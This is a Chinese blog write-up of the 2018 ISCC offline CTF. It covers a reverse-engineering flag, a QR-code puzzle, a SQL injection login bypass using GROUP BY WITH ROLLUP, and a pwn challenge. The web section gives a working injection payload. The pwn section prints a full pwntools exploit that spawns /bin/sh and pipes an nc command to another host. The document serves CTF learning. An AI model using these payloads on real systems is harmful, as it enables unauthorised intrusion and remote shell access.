美文网首页信息安全CTFawd
[ISCC] 2018ISCC线下赛 wp

[ISCC] 2018ISCC线下赛 wp

作者: ckj123 | 来源:发表于2018-07-17 01:29 被阅读109次

    ISCC 线下赛 wp

    这次是我第一次参加线下赛不得不说成绩还算可以
    抱着三等奖的心态参加,结果拿了二等奖
    只做出一道web, 经验太少了,所有的flag都是手打的导致我们做完一道题就根本没心思做别的题目了,忙于手动刷分

    re

    这道题很奇怪,我的mac下载下来exe放到windows打不开,只能在windows下载下来,然后
    关卡题目的re
    先拖一个壳
    然后按照密码分别输入1-14
    出来的是

    1 -> for
    2 -> ISC
    3 -> _ar
    4 -> icu 
    5 -> thi
    6 -> ngs
    7 -> iff 
    8 -> _ar
    9 -> C{A
    10-> lt}
    11-> _be
    12-> ll
    13-> e_d
    14-> hey
    15-> e_t
    16-> e_e
    

    然后按照语义分析可以拼出flag -> ISCC{All_things_are_easy_before_they_are_difficult}
    ...这真的是逆向吗。

    misc

    这是道二维码的题目,不过我想起来那时候在安恒做到过这类的,二维码要求在两个大黑框之间必须有连续的黑白点,这样才行
    逐帧分析gif,发现只有第62帧存在一个校正图形


    image

    ,保存补上位置探测图形和定位图形


    image
    ,扫描得到ISRDQzgxMDI=,base64解码得到!$CC8102

    web

    这次比赛其实实际做的就只有一道web题。。。

    web1

    进入之后
    一个登陆界面
    可以看到一个hint.txt在请求头中
    然后访问一下有一部分的源码

    $sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
    $query = mysqli_query($con,$sql); 
    if (mysqli_num_rows($query) == 1) { 
        $key = mysqli_fetch_array($query);
        if($key['pwd'] == $_POST['pwd']) {
            echo "xxxxxxxxx";
        }else{
            echo "浣犺繖瀵嗙爜涓嶅お瀵瑰晩";
        }
    }else if(mysqli_num_rows($query) == 0){
        echo "浣犺繖瀵嗙爜涓嶅お瀵瑰晩";
    }
    else{
        echo "鏁版嵁澶浜";
    }
    

    他是查询到一个结果然后在去数据库中查找有没有这一行的密码
    查询不到或者密码错误都是不行的
    这样只能用sql的with rollup了,在表的最后一行加上一个null在查询的时候就不会为空了
    等于1的话只要加上limit 1 就可以了

    image
    自己写了一个数据库试一下
    然后就拿这个语句就可以了
    ckj"^"0" group by pwd with rollup limit 1 offset 1
    offset 1 是因为数据库里面只有一条

    赛后主办说其实是希望我们把那个账号爆破出来的,其实在注册页面给了信息就是账号必须为iscc_ _后面加四个数字,也就10000种可能,然后我猜他的payload应该是 iscc_0000" group by pwd with rollup limit offset 1

    其实 "ckj"^"0"也是为真的跟iscc_0000也差不多=。=
    之后就会弹出一堆乱七八糟的-。-
    那时候我们是先base64解了,然后再将加减全删了,就得到一个路径,那里就是我们最后的shell的目录,就可以打别人的私地了。

    主办发说=。=那个是utf-7编码,怪我知识浅薄,不得不说中国蚁剑真的好用!flag一直显示错误就很难受

    pwn

    pwn是aris师傅做的,不得不说太强了,全场第一第二个做出来的,然后我们靠这个pwn刷了一天的分数

    首先正常逻辑通过四道小关卡,然后发现第三关存在逻辑漏洞,可以使最后键入的值在key表之外,这样就可以进入隐藏关
    隐藏关可以任意修改N结构体的一部分,观察到fini节区有gg函数,内包含任意地址执行,说明程序退出时可以连续调用多次任意地址执行
    然后在main函数下方发现_nr函数可以修改任意地址写,就满足了getshell的两个条件。附上脚本

    from pwn import *
    #context.log_level = 'debug'
    context.terminal = ['gnome-terminal','-x','bash','-c']
    
    def z(a=''):
        gdb.attach(cn,a)
        if a == '':
            raw_input()
    
    
    cn = remote('192.168.31.82',8000)
    #cn = process('./wTEdNnGnqZHQigN8.Pwn02')
    cn.sendline('8584')
    cn.sendline('[1, 1, 3, 5, 11, 21]')
    cn.sendline('mappingstringsforfunandprofit{')
    cn.sendline('0 0 1 0 0 3 1 a')
    sys = 0x080485A0
    #z('set follow-fork-mode parent\nb*0x080487F7\nc')
    buf = 'aaaa' + p32(0x08048CDA)
    cn.sendline(buf)
    buf = 'bbbb' + p32(sys)
    cn.sendline(buf)
    cn.sendline('')
    cn.sendline('')
    buf = 'a' * 0xfc + p32(0x0804B070)
    cn.sendline(buf)
    cn.sendline('/bin/sh\x00')
    cn.recv()
    cn.sendline('nc 192.168.37.36 8000')
    cn.sendline('8584')
    cn.sendline('[1, 1, 3, 5, 11, 21]')
    cn.sendline('mappingstringsforfunandprofit{')
    cn.sendline('0 0 1 0 0 3 1 a')
    
    sys = 0x080485A0
    #z('set follow-fork-mode parent\nb*0x080487F7\nc')
    
    buf = 'aaaa' + p32(0x08048CDA)
    cn.sendline(buf)
    
    buf = 'bbbb' + p32(sys)
    cn.sendline(buf)
    
    cn.sendline('')
    cn.sendline('')
    
    buf = 'a' * 0xfc + p32(0x0804B070)
    cn.sendline(buf)
    
    cn.sendline('/bin/sh\x00')
    
    cn.interactive()
    

    相关文章

      网友评论

      本文标题:[ISCC] 2018ISCC线下赛 wp

      本文链接:https://www.haomeiwen.com/subject/ztgipftx.html